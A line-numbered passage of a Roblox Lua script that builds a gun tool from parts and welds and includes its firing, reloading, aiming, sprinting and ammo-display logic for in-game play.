  612. Part33.Orientation = Vector3.new(0, 0, 90)
  613. Part33.Color = Color3.new(0.105882, 0.164706, 0.207843)
  614. SpecialMesh34.Parent = Part33
  615. SpecialMesh34.Scale = Vector3.new(0.370370418, 0.0740706027, 0.148147851)
  616. SpecialMesh34.MeshType = Enum.MeshType.Wedge
  617. SpecialMesh34.Scale = Vector3.new(0.370370418, 0.0740706027, 0.148147851)
  618. Part35.Parent = Tool0
  619. Part35.Material = Enum.Material.SmoothPlastic
  620. Part35.BrickColor = BrickColor.new("Black")
  621. Part35.Rotation = Vector3.new(-180, -90, 0)
  622. Part35.Anchored = true
  623. Part35.FormFactor = Enum.FormFactor.Custom
  624. Part35.Size = Vector3.new(1.97037089, 0.200000003, 0.200000003)
  625. Part35.CFrame = CFrame.new(34.581543, 1.26816404, -9.98516846, 0, 0, -1, 0, -1, -0, -1, 0, -0)
  626. Part35.BottomSurface = Enum.SurfaceType.Smooth
  627. Part35.TopSurface = Enum.SurfaceType.Smooth
  628. Part35.Color = Color3.new(0.105882, 0.164706, 0.207843)
  629. Part35.Position = Vector3.new(34.581543, 1.26816404, -9.98516846)
  630. Part35.Orientation = Vector3.new(0, -90, 180)
  631. Part35.Color = Color3.new(0.105882, 0.164706, 0.207843)
  632. SpecialMesh36.Parent = Part35
  633. SpecialMesh36.Scale = Vector3.new(1, 0.518519938, 0.148148149)
  634. SpecialMesh36.MeshType = Enum.MeshType.Wedge
  635. SpecialMesh36.Scale = Vector3.new(1, 0.518519938, 0.148148149)
  636. Part37.Parent = Tool0
  637. Part37.Material = Enum.Material.SmoothPlastic
  638. Part37.BrickColor = BrickColor.new("Black")
  639. Part37.Reflectance = 0.20000000298023
  640. Part37.Rotation = Vector3.new(180, 0, -180)
  641. Part37.Anchored = true
  642. Part37.FormFactor = Enum.FormFactor.Custom
  643. Part37.Size = Vector3.new(0.20740746, 0.200000003, 0.548148036)
  644. Part37.CFrame = CFrame.new(34.5, 1.34970605, -12.1184645, -1, 0, -4.37113883e-08, 0, 1, -0, 4.37113883e-08, 0, -1)
  645. Part37.BottomSurface = Enum.SurfaceType.Smooth
  646. Part37.TopSurface = Enum.SurfaceType.Smooth
  647. Part37.Color = Color3.new(0.105882, 0.164706, 0.207843)
  648. Part37.Position = Vector3.new(34.5, 1.34970605, -12.1184645)
  649. Part37.Orientation = Vector3.new(0, -180, 0)
  650. Part37.Color = Color3.new(0.105882, 0.164706, 0.207843)
  651. SpecialMesh38.Parent = Part37
  652. SpecialMesh38.Scale = Vector3.new(1, 0.814816296, 1)
  653. SpecialMesh38.MeshType = Enum.MeshType.Wedge
  654. SpecialMesh38.Scale = Vector3.new(1, 0.814816296, 1)
  655. Part39.Parent = Tool0
  656. Part39.Material = Enum.Material.SmoothPlastic
  657. Part39.BrickColor = BrickColor.new("Black")
  658. Part39.Reflectance = 0.20000000298023
  659. Part39.Rotation = Vector3.new(-90, 0, 0)
  660. Part39.Anchored = true
  661. Part39.FormFactor = Enum.FormFactor.Custom
  662. Part39.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  663. Part39.CFrame = CFrame.new(34.4963379, 1.67197096, -12.1221924, 1, 0, -0, 0, 0, 1, 0, -1, 0)
  664. Part39.BottomSurface = Enum.SurfaceType.Smooth
  665. Part39.TopSurface = Enum.SurfaceType.Smooth
  666. Part39.Color = Color3.new(0.105882, 0.164706, 0.207843)
  667. Part39.Position = Vector3.new(34.4963379, 1.67197096, -12.1221924)
  668. Part39.Orientation = Vector3.new(-90, 0, 0)
  669. Part39.Color = Color3.new(0.105882, 0.164706, 0.207843)
  670. BlockMesh40.Parent = Part39
  671. BlockMesh40.Scale = Vector3.new(0.259259313, 0.148148119, 0.111111082)
  672. BlockMesh40.Scale = Vector3.new(0.259259313, 0.148148119, 0.111111082)
  673. ManualWeld41.Name = "Part-to-AimPart Strong Joint"
  674. ManualWeld41.Parent = Part39
  675. ManualWeld41.C0 = CFrame.new(-0.100000001, -0.100000001, 0.100000001, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  676. ManualWeld41.C1 = CFrame.new(0.0999984741, -0.0999529362, -0.159261703, -0.999999702, -4.8854865e-08, 5.96046448e-08, 5.96046448e-08, 1.34268845e-08, 0.999999702, -4.88548757e-08, 1, -5.71382657e-08)
  677. ManualWeld41.Part0 = Part39
  678. ManualWeld41.Part1 = Part237
  679. Part42.Parent = Tool0
  680. Part42.Material = Enum.Material.SmoothPlastic
  681. Part42.BrickColor = BrickColor.new("Black")
  682. Part42.Reflectance = 0.20000000298023
  683. Part42.Rotation = Vector3.new(-90, 0, 0)
  684. Part42.Anchored = true
  685. Part42.FormFactor = Enum.FormFactor.Custom
  686. Part42.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  687. Part42.CFrame = CFrame.new(34.5629883, 1.67563403, -12.1740723, 1, 0, -0, 0, 0, 1, 0, -1, 0)
  688. Part42.BottomSurface = Enum.SurfaceType.Smooth
  689. Part42.TopSurface = Enum.SurfaceType.Smooth
  690. Part42.Color = Color3.new(0.105882, 0.164706, 0.207843)
  691. Part42.Position = Vector3.new(34.5629883, 1.67563403, -12.1740723)
  692. Part42.Orientation = Vector3.new(-90, 0, 0)
  693. Part42.Color = Color3.new(0.105882, 0.164706, 0.207843)
  694. BlockMesh43.Parent = Part42
  695. BlockMesh43.Scale = Vector3.new(0.111111112, 0.666666627, 0.370370358)
  696. BlockMesh43.Scale = Vector3.new(0.111111112, 0.666666627, 0.370370358)
  697. ManualWeld44.Name = "Part-to-AimPart Strong Joint"
  698. ManualWeld44.Parent = Part42
  699. ManualWeld44.C0 = CFrame.new(-0.100000001, -0.100000001, 0.100000001, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  700. ManualWeld44.C1 = CFrame.new(0.0333480835, -0.0962898731, -0.107381821, -0.999999702, -4.8854865e-08, 5.96046448e-08, 5.96046448e-08, 1.34268845e-08, 0.999999702, -4.88548757e-08, 1, -5.71382657e-08)
  701. ManualWeld44.Part0 = Part42
  702. ManualWeld44.Part1 = Part237
  703. LocalScript45.Name = "Gun_Script"
  704. LocalScript45.Parent = Tool0
  705. table.insert(cors,sandbox(LocalScript45,function()
  706. wait(0.5)
  707. --Made by YouTubes--
  708. --Edit settings below--
  709. local Tool = script.Parent
  710. local Settings = {
  711. Range = 1000
  712. ,Spread = 7
  713. ,Damage = {40, 40}
  714. ,HeadShotDamage = {70, 120}
  715. ,Bullets = 1
  716. ,FireRate = 0.1
  717. ,Automatic = false
  718. ,AntiTK = true
  719. ,ImpactDuration = 3
  720. --Reload
  721. ,ReloadKey = "R"
  722. ,ReloadTime = 2.5
  723. ,Ammo = 30
  724. ,IncludeChamberedBullet = true
  725. --Gui
  726. ,GuiPos = Vector2.new(script.Gui.Frame.Position.X.Scale, script.Gui.Frame.Position.Y.Scale)
  727. --Arms
  728. ,OneHanded = false
  729. ,FakeArms = true
  730. ,FakeArmTransparency = 0
  731. ,RightPos = CFrame.new(-0.75, -0.25, 0.5) * CFrame.Angles(math.rad(-90), 0, 0)
  732. ,LeftPos = CFrame.new(1, 0.5, 0.5) * CFrame.Angles(math.rad(-90), math.rad(45), 0)
  733. ,AimPart = Tool.AimPart
  734. ,AimPartOffset = CFrame.new()
  735. ,AimGripOffset = Vector3.new(0, 0, 0)
  736. ,LeftAimPos = CFrame.new(1, 0.5, 0.5) * CFrame.Angles(math.rad(-100), math.rad(45), 0)
  737. ,AimAnim = {
  738. Enabled = false
  739. ,Frames = 50
  740. ,Time = 0.1
  741. }
  742. ,ChangeFOV = {true, 60}
  743. ,SpreadReduction = 5
  744. --Weld
  745. ,Weld = true
  746. --Mouse
  747. ,Icons = {
  748. Idle = "rbxassetid://70288585"
  749. ,Fire1 = "rbxassetid://137983646"
  750. ,Fire2 = "rbxassetid://137983646"
  751. ,Fire3 = "rbxassetid://137983646"
  752. ,Reload = "rbxassetid://506273075"
  753. ,Aim = "rbxasset://textures/Blank.png"
  754. }
  755. ,FireMouseAnimTime = 0.15
  756. --Recoil
  757. ,Recoil = math.rad(1)
  758. --Smoke
  759. ,Smoke = true
  760. ,SmokePart = Tool.SmokePart
  761. ,Smokes = {{script.Smoke, 6, 0.2}, {script.Smoke1, 0.1}, {script.Smoke1, 0.1}, {script.Flash, 0.03}}
  762. --Sprint
  763. ,Sprint = true
  764. ,SprintSpeed = 25
  765. ,SprintKey = "0"
  766. ,SprintSpreadIncrease = 40
  767. ,SprintArmOffset = CFrame.new(0.25, 0.125, 0.25) * CFrame.Angles(math.rad(-30), math.rad(35), 0)
  768. --Other
  769. ,DropHats = true
  770. }
  771.  
  772. --Do not edit below this lign--
  773.  
  774. local Orig_Spread = Settings.Spread
  775. local Orig_Grip = Tool.GripPos
  776.  
  777. local Player = game.Players.LocalPlayer
  778. local Character = Player.Character
  779.  
  780. local Camera = Workspace.CurrentCamera
  781.  
  782. local Ammo, StoredAmmo = script.Ammo, script.StoredAmmo
  783.  
  784. local Gui, CanUpdateGui = nil, true
  785.  
  786. local Sprinting, Equipped
  787.  
  788. function Update_Gui()
  789. if Gui and CanUpdateGui then
  790. Gui.Frame.AmmoDisplay.Text = Ammo.Value .. "|" .. StoredAmmo.Value
  791. end
  792. end
  793.  
  794. local Welded
  795. if Settings.Weld then
  796. Delay(0, function()
  797. local weldC0s = {}
  798. for i, v in pairs(Tool:GetChildren()) do
  799. if v:IsA("BasePart") and v ~= Tool.Handle then
  800. table.insert(weldC0s, {v, Tool.Handle.CFrame:toObjectSpace(v.CFrame)})
  801. v.Anchored = false
  802. end
  803. end
  804. Tool.Handle.Anchored = false
  805. local welds = {}
  806. Tool.Equipped:connect(function()
  807. for i, v in ipairs(welds) do
  808. v.Part1 = nil
  809. v:Destroy()
  810. end
  811. for i, v in ipairs(weldC0s) do
  812. if v[1] and v[2] then
  813. local w = Instance.new("Weld", Tool.Handle)
  814. w.Part0 = Tool.Handle
  815. w.Part1 = v[1]
  816. w.C0 = v[2]
  817. table.insert(welds, w)
  818. end
  819. end
  820. end)
  821. wait()
  822. Welded = true
  823. end)
  824. end
  825.  
  826. local Left_Weld, Right_Weld
  827.  
  828. Ammo.Changed:connect(Update_Gui)
  829. StoredAmmo.Changed:connect(Update_Gui)
  830.  
  831. Settings.Range = math.min(Settings.Range, 999)
  832.  
  833. local Ignore_Model = Workspace:FindFirstChild("Ray_Ignore") or Instance.new("Model", Workspace)
  834. Ignore_Model.Name = "Ray_Ignore"
  835.  
  836. local Ray_Ignore = {Character, Ignore_Model, Camera}
  837.  
  838. Character.Humanoid.Died:connect(function()
  839. Tool.Parent = Player.Backpack
  840. end)
  841.  
  842. function Fire(Mouse)
  843. local Spread = CFrame.Angles(math.rad(math.random(-Settings.Spread, Settings.Spread)/10), math.rad(math.random(-Settings.Spread, Settings.Spread)/10), math.rad(math.random(-Settings.Spread, Settings.Spread)/10))
  844. local Ray = Ray.new(Character.Head.Position, (CFrame.new(Character.Head.Position, Mouse.Hit.p) * Spread).lookVector.unit * Settings.Range)
  845. local Hit, Pos = Workspace:FindPartOnRayWithIgnoreList(Ray, Ray_Ignore)
  846. if Hit and Hit.Parent:FindFirstChild("Humanoid") then
  847. local Hit_Player = game.Players:GetPlayerFromCharacter(Hit.Parent)
  848. if Settings.AntiTK and not Hit_Player.Neutral and Hit_Player.TeamColor == Player.TeamColor then
  849. return
  850. end
  851. local Humanoid = Hit.Parent.Humanoid
  852. local c = Instance.new("ObjectValue")
  853. c.Name = "creator"
  854. c.Value = Player
  855. game.Debris:AddItem(c, 3)
  856. c.Parent = Humanoid
  857. if Hit.Name == "Head" then
  858. Humanoid.Health = Humanoid.Health - math.random(Settings.HeadShotDamage[1], Settings.HeadShotDamage[2])
  859. else
  860. Humanoid.Health = Humanoid.Health - math.random(Settings.Damage[1], Settings.Damage[2])
  861. end
  862. elseif Hit then
  863. local Hit_Part = Instance.new("Part", Ignore_Model)
  864. Hit_Part.FormFactor = "Custom"
  865. Hit_Part.TopSurface = 0
  866. Hit_Part.BottomSurface = 0
  867. Hit_Part.Anchored = true
  868. Hit_Part.CanCollide = false
  869. Hit_Part.Size = Vector3.new()
  870. Hit_Part.CFrame = CFrame.new(Pos) * CFrame.Angles(math.random(0, 360), math.random(0, 360), math.random(0, 360))
  871. Hit_Part.BrickColor = BrickColor.new("Black")
  872. game.Debris:AddItem(Hit_Part, Settings.ImpactDuration)
  873. if not Hit.Anchored then
  874. local w = Instance.new("Weld", Hit_Part)
  875. w.Part0 = Hit
  876. w.Part1 = Hit_Part
  877. w.C0 = Hit.CFrame:toObjectSpace(Hit_Part.CFrame)
  878. Hit_Part.Anchored = false
  879. end
  880. if Hit.Parent:IsA("Hat") and Settings.DropHats then
  881. Hit.Parent.Parent = workspace
  882. game.Debris:AddItem(Hit, 3)
  883. end
  884. end
  885. end
  886.  
  887. local Can_Shoot = true
  888. local Reloading = false
  889.  
  890. local First_Person = false
  891.  
  892. local Mouse_Held
  893.  
  894. Tool.Equipped:connect(function(Mouse)
  895. Equipped = true
  896. if Settings.Weld and not Welded then
  897. wait()
  898. Tool.Parent = Player.Backpack
  899. end
  900. Character = Player.Character
  901. if Gui then
  902. return
  903. end
  904. Ray_Ignore = {Character, Ignore_Model, Camera}
  905. Mouse.Icon = Settings.Icons.Idle
  906. Gui = script.Gui:Clone()
  907. Gui.Parent = Player.PlayerGui
  908. Gui.Frame.Position = UDim2.new(Settings.GuiPos.X, Gui.Frame.Position.X.Offset, 1.1, Gui.Frame.Position.Y.Offset)
  909. Gui.Frame:TweenPosition(UDim2.new(Settings.GuiPos.X, Gui.Frame.Position.X.Offset, Settings.GuiPos.Y, Gui.Frame.Position.Y.Offset), "Out", "Bounce", 1)
  910. CanUpdateGui = true
  911. Update_Gui()
  912. Mouse.Button1Down:connect(function()
  913. if Can_Shoot and Ammo.Value > 0 and Character.Humanoid.Health > 0 then
  914. Mouse_Held = true
  915. while true do
  916. Can_Shoot = false
  917. Delay(0, function()
  918. local t = math.min(Settings.FireMouseAnimTime/3, Settings.FireRate/3)
  919. if not Aiming then
  920. Mouse.Icon = Settings.Icons.Fire1
  921. end
  922. wait(t)
  923. if not Aiming then
  924. if Reloading then return end
  925. Mouse.Icon = Settings.Icons.Fire2
  926. end
  927. wait(t)
  928. if not Aiming then
  929. if Reloading then return end
  930. Mouse.Icon = Settings.Icons.Fire3
  931. end
  932. wait(t)
  933. if not Aiming then
  934. if Reloading then return end
  935. Mouse.Icon = Settings.Icons.Idle
  936. end
  937. end)
  938. if Settings.Smoke then
  939. for i, v in pairs(Settings.Smokes) do
  940. local s = v[1]:Clone()
  941. s.Parent = Settings.SmokePart
  942. s.Enabled = true
  943. game.Debris:AddItem(s, v[2])
  944. if v[3] then
  945. Delay(v[3], function()
  946. s.Enabled = false
  947. end)
  948. end
  949. end
  950. end
  951. for _ = 1, Settings.Bullets do
  952. pcall(function() Fire(Mouse) end)
  953. end
  954. Camera.CoordinateFrame = CFrame.new(Camera.Focus.p) * (Camera.CoordinateFrame - Camera.CoordinateFrame.p) * CFrame.Angles(math.abs(Settings.Recoil), 0, 0) * CFrame.new(0, 0, (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude)
  955. if Tool.Handle:FindFirstChild("Shoot") then
  956. Tool.Handle.Shoot:Play()
  957. end
  958. Ammo.Value = Ammo.Value - 1
  959. wait(Settings.FireRate)
  960. if not Settings.Automatic or Ammo.Value <= 0 or Character.Humanoid.Health <= 0 or not Mouse_Held then
  961. break
  962. end
  963. end
  964. Can_Shoot = true
  965. elseif Can_Shoot and Character.Humanoid.Health > 0 and Tool.Handle:FindFirstChild("Click") then
  966. Tool.Handle.Click:Play()
  967. end
  968. end)
  969. Mouse.Button1Up:connect(function()
  970. Mouse_Held = false
  971. end)
  972. Mouse.KeyDown:connect(function(Key)
  973. if Key:upper() == Settings.ReloadKey:upper() and Can_Shoot and StoredAmmo.Value > 0 and not Aiming then
  974. if Settings.IncludeChamberedBullet and Ammo.Value == Settings.Ammo + 1 or not Settings.IncludeChamberedBullet and Ammo.Value == Settings.Ammo then
  975. return
  976. end
  977. Can_Shoot = false
  978. Reloading = true
  979. local TextLabel = Gui.Frame.AmmoDisplay
  980. Delay(0, function()
  981. CanUpdateGui = false
  982. TextLabel.Text = "Reloading."
  983. wait(Settings.ReloadTime/3)
  984. if TextLabel then
  985. TextLabel.Text = "Reloading.."
  986. end
  987. wait(Settings.ReloadTime/3)
  988. if TextLabel then
  989. TextLabel.Text = "Reloading..."
  990. end
  991. end)
  992. if Tool.Handle:FindFirstChild("Reload") then
  993. Tool.Handle.Reload:Play()
  994. end
  995. Mouse.Icon = Settings.Icons.Reload
  996. wait(Settings.ReloadTime)
  997. Mouse.Icon = Settings.Icons.Idle
  998. CanUpdateGui = true
  999. local m = Settings.Ammo
  1000. if Ammo.Value > 0 and Settings.IncludeChamberedBullet then
  1001. m = m + 1
  1002. end
  1003. if (StoredAmmo.Value - (m - Ammo.Value)) <= 0 then
  1004. Ammo.Value = Ammo.Value + StoredAmmo.Value
  1005. StoredAmmo.Value = 0
  1006. else
  1007. StoredAmmo.Value = StoredAmmo.Value - (m - Ammo.Value)
  1008. Ammo.Value = m
  1009. end
  1010. Can_Shoot = true
  1011. Reloading = false
  1012. elseif Key:upper() == Settings.SprintKey:upper() and Settings.Sprint and not Aiming then
  1013. Sprinting = true
  1014. Character.Humanoid.WalkSpeed = Settings.SprintSpeed
  1015. Settings.Spread = Settings.Spread + Settings.SprintSpreadIncrease
  1016. end
  1017. end)
  1018. Mouse.KeyUp:connect(function(Key)
  1019. if Key:upper() == Settings.SprintKey:upper() and Sprinting then
  1020. Sprinting = false
  1021. Character.Humanoid.WalkSpeed = 16
  1022. Settings.Spread = Settings.Spread - Settings.SprintSpreadIncrease
  1023. Right_Weld.C0 = CFrame.new(0, -1.5, 0)
  1024. end
  1025. end)
  1026. Mouse.Button2Down:connect(function()
  1027. if not Reloading and not Sprinting and not Aiming and (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude < 1 then
  1028. Aiming = true
  1029. Mouse.Icon = Settings.Icons.Aim
  1030. Right_Weld.C1 = CFrame.new()
  1031. Right_Weld.C0 = CFrame.new()
  1032. Right_Weld.C1 = Character.Head.CFrame:toObjectSpace(Settings.AimPart.CFrame)
  1033. Left_Weld.C1 = Settings.LeftAimPos
  1034. if Settings.ChangeFOV[1] then
  1035. Camera.FieldOfView = Settings.ChangeFOV[2]
  1036. end
  1037. Tool.GripPos = Orig_Grip + Settings.AimGripOffset
  1038. Settings.Spread = Settings.Spread - Settings.SpreadReduction
  1039. end
  1040. end)
  1041. Mouse.Button2Up:connect(function()
  1042. if Aiming then
  1043. Mouse.Icon = Settings.Icons.Idle
  1044. Tool.GripPos = Orig_Grip
  1045. Right_Weld.C1 = Settings.RightPos
  1046. Right_Weld.C0 = CFrame.new(0, -1.5, 0)
  1047. Left_Weld.C1 = Settings.LeftPos
  1048. if Settings.ChangeFOV[1] then
  1049. Camera.FieldOfView = 70
  1050. end
  1051. Settings.Spread = Settings.Spread + Settings.SpreadReduction
  1052. Character.Torso.Neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1053. Character.Torso.Neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1054. wait(0.25)
  1055. Aiming = false
  1056. end
  1057. end)
  1058. wait()
  1059. Camera.Changed:connect(function()
  1060. if (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude < 1 and Equipped then
  1061. Mouse.TargetFilter = workspace
  1062. Character.Torso.Neck.C1 = CFrame.new()
  1063. Character.Torso.Neck.C0 = CFrame.new(0, 1.5, 0) * CFrame.Angles(math.asin((Mouse.Hit.p - Mouse.Origin.p).unit.y), 0, 0)
  1064. end
  1065. end)
  1066. Mouse.Idle:connect(function()
  1067. if (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude < 1 and Equipped then
  1068. Mouse.TargetFilter = workspace
  1069. Character.Torso.Neck.C1 = CFrame.new()
  1070. Character.Torso.Neck.C0 = CFrame.new(0, 1.5, 0) * CFrame.Angles(math.asin((Mouse.Hit.p - Mouse.Origin.p).unit.y), 0, 0)
  1071. end
  1072. end)
  1073. while wait() and Equipped do
  1074. if Sprinting then
  1075. Right_Weld.C0 = CFrame.new(0, -1.5, 0) * Settings.SprintArmOffset
  1076. Left_Weld.C0 = CFrame.new(0, -1.5, 0) * Settings.SprintArmOffset
  1077. elseif not Aiming then
  1078. Left_Weld.C0 = CFrame.new(0, -1.5, 0)
  1079. end
  1080. if (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude > 1 and Equipped then
  1081. Mouse.TargetFilter = nil
  1082. Character.Torso.Neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1083. Character.Torso.Neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1084. end
  1085. end
  1086. end)
  1087.  
  1088. local Arms_Made
  1089. local Fake_Arm_Right, Fake_Arm_Left, Fake_Arm_Model
  1090.  
  1091. Tool.Equipped:connect(function(Mouse)
  1092. if Character and not Arms_Made then
  1093. Arms_Made = true
  1094. local Torso = Character.Torso
  1095. Torso["Right Shoulder"].Part1 = nil
  1096. Left_Weld = Instance.new("Weld", Torso)
  1097. Left_Weld.Name = "Left_Weld"
  1098. Left_Weld.Part0 = Character.Head
  1099. Left_Weld.C0 = CFrame.new(0, -1.5, 0)
  1100. if not Settings.OneHanded then
  1101. Torso["Left Shoulder"].Part1 = nil
  1102. Left_Weld.Part1 = Character["Left Arm"]
  1103. end
  1104. Right_Weld = Instance.new("Weld", Torso)
  1105. Right_Weld.Name = "Right_Weld"
  1106. Right_Weld.Part0 = Character.Head
  1107. Right_Weld.Part1 = Character["Right Arm"]
  1108. Right_Weld.C0 = CFrame.new(0, -1.5, 0)
  1109. Left_Weld.C1 = Settings.LeftPos
  1110. Right_Weld.C1 = Settings.RightPos
  1111. end
  1112. if Settings.FakeArms and not Fake_Arm_Right then
  1113. Fake_Arm_Right, Fake_Arm_Left = Character["Right Arm"]:Clone(), Character["Left Arm"]:Clone()
  1114. Fake_Arm_Right.FormFactor, Fake_Arm_Left.FormFactor = "Custom", "Custom"
  1115. Fake_Arm_Right.Size, Fake_Arm_Left.Size = Vector3.new(), Vector3.new()
  1116. local fakeArms = {Fake_Arm_Right, Fake_Arm_Left}
  1117. for i = 1, 2 do
  1118. local w = Instance.new("Weld", fakeArms[i])
  1119. w.Part0 = Character[fakeArms[i].Name]
  1120. w.Part1 = fakeArms[i]
  1121. fakeArms[i].Transparency = Settings.FakeArmTransparency
  1122. end
  1123. Fake_Arm_Model = Instance.new("Model", Camera)
  1124. Fake_Arm_Right.Parent = Fake_Arm_Model
  1125. if not Settings.OneHanded then
  1126. Fake_Arm_Left.Parent = Fake_Arm_Model
  1127. end
  1128. Fake_Arm_Model.Name = "FakeArms"
  1129. if Settings.CharacterMeshes then
  1130. for i, v in pairs(Character:GetChildren()) do
  1131. if v:IsA("CharacterMesh") and v.BodyPart == Enum.BodyPart.LeftArm or v:IsA("CharacterMesh") and v.BodyPart == Enum.BodyPart.RightArm then
  1132. v:Clone().Parent = Fake_Arm_Model
  1133. end
  1134. end
  1135. end
  1136. if Character:FindFirstChild("Shirt") then
  1137. Instance.new("Humanoid", Fake_Arm_Model)
  1138. Character.Shirt:Clone().Parent = Fake_Arm_Model
  1139. else
  1140. local Arm_Mesh = Instance.new("SpecialMesh", Fake_Arm_Right)
  1141. Arm_Mesh.MeshType, Arm_Mesh.Scale = "Brick", Vector3.new(5, 10, 5)
  1142. local Arm_Mesh2 = Instance.new("SpecialMesh", Fake_Arm_Left)
  1143. Arm_Mesh2.MeshType, Arm_Mesh2.Scale = "Brick", Vector3.new(5, 10, 5)
  1144. end
  1145. end
  1146. end)
  1147.  
  1148. Tool.Unequipped:connect(function()
  1149. Equipped = false
  1150. Tool.GripPos = Orig_Grip
  1151. Aiming = false
  1152. Settings.Spread = Orig_Spread
  1153. if Settings.ChangeFOV[1] then
  1154. Camera.FieldOfView = 70
  1155. end
  1156. if Gui then
  1157. Gui:Destroy()
  1158. Gui = nil
  1159. end
  1160. for i, v in pairs(Tool.Handle:GetChildren()) do
  1161. if v:IsA("Sound") then
  1162. v:Stop()
  1163. end
  1164. end
  1165. if Fake_Arm_Right and Fake_Arm_Left and Fake_Arm_Model then
  1166. Fake_Arm_Model:Destroy()
  1167. Fake_Arm_Right, Fake_Arm_Left, Fake_Arm_Model = nil, nil, nil
  1168. end
  1169. if Character and Left_Weld and Right_Weld then
  1170. Arms_Made = false
  1171. local Torso = Character.Torso
  1172. Torso["Right Shoulder"].Part1, Torso["Left Shoulder"].Part1 = Character["Right Arm"], Character["Left Arm"]
  1173. Left_Weld:Destroy()
  1174. Right_Weld:Destroy()
  1175. end
  1176. Sprinting = false
  1177. Character.Torso.Neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1178. Character.Torso.Neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1179. Character.Humanoid.WalkSpeed = 16
  1180. end)
  1181.  
  1182. end))
  1183. NumberValue46.Name = "Ammo"
  1184. NumberValue46.Parent = LocalScript45
  1185. NumberValue46.Value = 31
  1186. NumberValue47.Name = "StoredAmmo"
  1187. NumberValue47.Parent = LocalScript45
  1188. NumberValue47.Value = 400
  1189. PointLight48.Name = "Flash"
  1190. PointLight48.Parent = LocalScript45
  1191. PointLight48.Color = Color3.new(0.772549, 0.384314, 0)
  1192. PointLight48.Brightness = 10
  1193. PointLight48.Range = 10
  1194. PointLight48.Shadows = true
  1195. PointLight48.Color = Color3.new(0.772549, 0.384314, 0)
  1196. Smoke49.Parent = LocalScript45
  1197. Smoke49.Size = 0.25
  1198. Smoke49.Color = Color3.new(0.372549, 0.372549, 0.372549)
  1199. Smoke49.Enabled = false
  1200. Smoke49.Opacity = 0.25999999046326
  1201. Smoke49.RiseVelocity = 4
  1202. Smoke49.Color = Color3.new(0.372549, 0.372549, 0.372549)
  1203. Smoke50.Name = "Smoke1"
  1204. Smoke50.Parent = LocalScript45
  1205. Smoke50.Size = 0.10000000149012
  1206. Smoke50.Color = Color3.new(1, 0.6, 0.2)
  1207. Smoke50.Enabled = false
  1208. Smoke50.Opacity = 0.40000000596046
  1209. Smoke50.Color = Color3.new(1, 0.6, 0.2)
  1210. ScreenGui51.Name = "Gui"
  1211. ScreenGui51.Parent = LocalScript45
  1212. Frame52.Parent = ScreenGui51
  1213. Frame52.Transparency = 0.5
  1214. Frame52.Size = UDim2.new(0, 120, 0, 35)
  1215. Frame52.Position = UDim2.new(1, -150, 1, -44)
  1216. Frame52.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1217. Frame52.BackgroundTransparency = 0.5
  1218. Frame52.BorderSizePixel = 3
  1219. TextLabel53.Name = "AmmoDisplay"
  1220. TextLabel53.Parent = Frame52
  1221. TextLabel53.Transparency = 1
  1222. TextLabel53.Size = UDim2.new(1, 0, 1, 0)
  1223. TextLabel53.Text = ""
  1224. TextLabel53.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1225. TextLabel53.BackgroundTransparency = 1
  1226. TextLabel53.Font = Enum.Font.SourceSansBold
  1227. TextLabel53.FontSize = Enum.FontSize.Size24
  1228. TextLabel53.TextColor3 = Color3.new(0, 0, 0)
  1229. TextLabel53.TextStrokeColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1230. TextLabel53.TextStrokeTransparency = 0.5
  1231. TextLabel53.TextXAlignment = Enum.TextXAlignment.Right
  1232. Frame54.Parent = ScreenGui51
  1233. Frame54.Transparency = 0.5
  1234. Frame54.Size = UDim2.new(0, 126, 0, 10)
  1235. Frame54.Position = UDim2.new(1, -153, 1, -62)
  1236. Frame54.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1237. Frame54.BackgroundTransparency = 0.5
  1238. Frame54.BorderSizePixel = 3
  1239. TextLabel55.Name = "Caliber"
  1240. TextLabel55.Parent = Frame54
  1241. TextLabel55.Transparency = 1
  1242. TextLabel55.Size = UDim2.new(1, 0, 1, 0)
  1243. TextLabel55.Text = "6.5mm"
  1244. TextLabel55.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1245. TextLabel55.BackgroundTransparency = 1
  1246. TextLabel55.Font = Enum.Font.SourceSansBold
  1247. TextLabel55.FontSize = Enum.FontSize.Size12
  1248. TextLabel55.TextColor3 = Color3.new(0, 0, 0)
  1249. TextLabel55.TextStrokeColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1250. TextLabel55.TextStrokeTransparency = 0.5
  1251. TextLabel55.TextXAlignment = Enum.TextXAlignment.Right
  1252. Frame56.Parent = ScreenGui51
  1253. Frame56.Transparency = 0.5
  1254. Frame56.Size = UDim2.new(0, 126, 0, 40)
  1255. Frame56.Position = UDim2.new(1, -153, 1, -109)
  1256. Frame56.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1257. Frame56.BackgroundTransparency = 0.5
  1258. Frame56.BorderSizePixel = 3
  1259. TextLabel57.Name = "Accessories"
  1260. TextLabel57.Parent = Frame56
  1261. TextLabel57.Transparency = 1
  1262. TextLabel57.Size = UDim2.new(1, 0, 1, 0)
  1263. TextLabel57.Text = "MX"
  1264. TextLabel57.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1265. TextLabel57.BackgroundTransparency = 1
  1266. TextLabel57.Font = Enum.Font.SourceSansBold
  1267. TextLabel57.FontSize = Enum.FontSize.Size14
